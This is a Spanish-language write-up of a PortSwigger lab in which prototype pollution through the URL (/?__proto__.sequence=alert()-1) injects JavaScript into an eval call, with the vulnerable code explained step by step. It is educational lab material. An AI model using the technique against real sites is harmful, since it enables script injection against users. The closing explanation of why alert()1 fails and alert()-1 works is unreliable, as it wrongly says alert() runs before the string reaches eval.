3 - DOM XSS via an alternative prototype pollution vector
#prototypepollution #dombased #xss #portswigger #writeup
async function logQuery(url, params) {
try {
await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
} catch(e) {
console.error("Failed storing query");
}
}
async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1;
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}
window.addEventListener("load", searchLogger);1. logQuery(url, params)
async function logQuery(url, params) {
try {
await fetch(url, {
method: "post",
keepalive: true,
body: JSON.stringify(params)
});
} catch(e) {
console.error("Failed storing query");
}
}Esta función hace una solicitud POST al servidor con los parámetros dados (params) a la URL dada (url). Usa keepalive: true para asegurar que se intente enviar incluso si la página se está descargando.
2. searchLogger()
async function searchLogger() {Esta función se ejecuta cuando la página se carga (ver el addEventListener al final). Vamos parte por parte:
a. Inicializa objetos globales:
window.macros = {};
window.manager = {
params: $.parseParams(new URL(location)),
macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}
};window.macros: un objeto donde se podrían guardar "macros" (funciones o valores asociados a claves).window.manager: contiene dos cosas:params: los parámetros de la URL (ej.?search=algo&user=1), parseados con$.parseParams()(probablemente un plugin de jQuery).macro(property): una función para obtener propiedades desdemacros.
b. Control de secuencia:
let a = manager.sequence || 1;
manager.sequence = a + 1;Si
manager.sequenceya existía, se usa; si no, se empieza en 1.Luego se incrementa para futuras llamadas.
c. Evalúa un macro (poco claro para qué):
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');Esto parece ser una llamada condicional a una "macro" (función o dato) si existe una macro con ese número como clave.
Uso de
evales riesgoso y poco recomendable.
d. Si hay una búsqueda, la envía al servidor:
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}- Si los parámetros incluyen
search, entonces envía esos datos al endpoint/logger.
3. Evento load:
window.addEventListener("load", searchLogger);- Ejecuta
searchLoggercuando la página se haya cargado completamente.
Así no nos lo hace bien
En su lugar :
/?__proto__.foo=barAhora si habríamos añadido una propiedad foo a Object:
Object.prototype
{
"foo": "bar"
}
...async function searchLogger() {
window.macros = {};
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
if (window.macros.hasOwnProperty(property))
return macros[property]
}};
let a = manager.sequence || 1;
manager.sequence = a + 1; //Podemos añadir la propiedad sequence a object para que así en este punto manager.sequence valga lo que queramos + 1
eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');
if(manager.params && manager.params.search) {
await logQuery('/logger', manager.params);
}
}/?__proto__.sequence=alert() manager.sequence = a + 1; //alert()1
eval('if(manager && manager.sequence){ manager.macro('+alert()1+') }'); manager.sequence = a + 1; //alert()-1
eval('if(manager && manager.sequence){ manager.macro('+alert()-1+') }');🔍 Código 1 (FALLA):
eval('if(manager && manager.sequence){ manager.macro('+alert()1+') }');¿Qué ocurre?
alert()se ejecuta inmediatamente (antes de que el string se pase aeval), mostrando una alerta vacía.Después de eso, la cadena se convierte en:
eval('if(manager && manager.sequence){ manager.macro(undefined1) }');Lo que rompe el JavaScript:
undefined1no es válido (es un identificador mal formado). El parser lo interpreta como un nombre de variable inválido.🔴 Resultado: Error de sintaxis.
✅ Código 2 (FUNCIONA):
eval('if(manager && manager.sequence){ manager.macro('+alert()-1+') }');¿Qué ocurre?
Igual que antes,
alert()se ejecuta primero, mostrando una alerta.Pero ahora la cadena se convierte en:
eval('if(manager && manager.sequence){ manager.macro(undefined - 1) }');Aquí,
undefined - 1es válido, y se evalúa aNaN.El código final dentro de
evales válido:
if(manager && manager.sequence){ manager.macro(NaN) }- 🔵 Resultado: se ejecuta sin errores (aunque
macro(NaN)no hace nada útil).